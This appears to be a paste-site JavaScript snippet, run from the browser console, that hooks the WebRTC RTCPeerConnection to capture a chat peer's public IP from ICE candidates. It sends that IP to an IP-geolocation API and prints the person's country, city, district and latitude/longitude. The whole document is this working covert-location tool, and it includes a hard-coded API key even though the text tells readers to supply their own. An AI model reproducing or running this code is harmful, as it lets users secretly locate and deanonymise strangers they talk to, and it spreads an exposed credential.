· 4 years ago · Jun 08, 2021, 12:26 PM
1Please replace <INSERT API HERE> - Please do not copy the <> too - with your own API key.
2The API key can be found https://app.ipgeolocation.io/
3
4
5
6const apiKey = "26cb398a5a1949fe86df0d507b80f04a";
7
8window.oRTCPeerConnection =
9 window.oRTCPeerConnection || window.RTCPeerConnection;
10
11window.RTCPeerConnection = function (...args) {
12 const pc = new window.oRTCPeerConnection(...args);
13
14 pc.oaddIceCandidate = pc.addIceCandidate;
15
16 pc.addIceCandidate = function (iceCandidate, ...rest) {
17 const fields = iceCandidate.candidate.split(" ");
18
19 console.log(iceCandidate.candidate);
20 const ip = fields[4];
21 if (fields[7] === "srflx") {
22 getLocation(ip);
23 }
24 return pc.oaddIceCandidate(iceCandidate, ...rest);
25 };
26 return pc;
27};
28
29const getLocation = async (ip) => {
30 let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;
31
32 await fetch(url).then((response) =>
33 response.json().then((json) => {
34 const output = `
35 ---------------------
36 Country: ${json.country_name}
37 State: ${json.state_prov}
38 City: ${json.city}
39 District: ${json.district}
40 Lat / Long: (${json.latitude}, ${json.longitude})
41 ---------------------
42 `;
43 console.log(output);
44 })
45 );
46};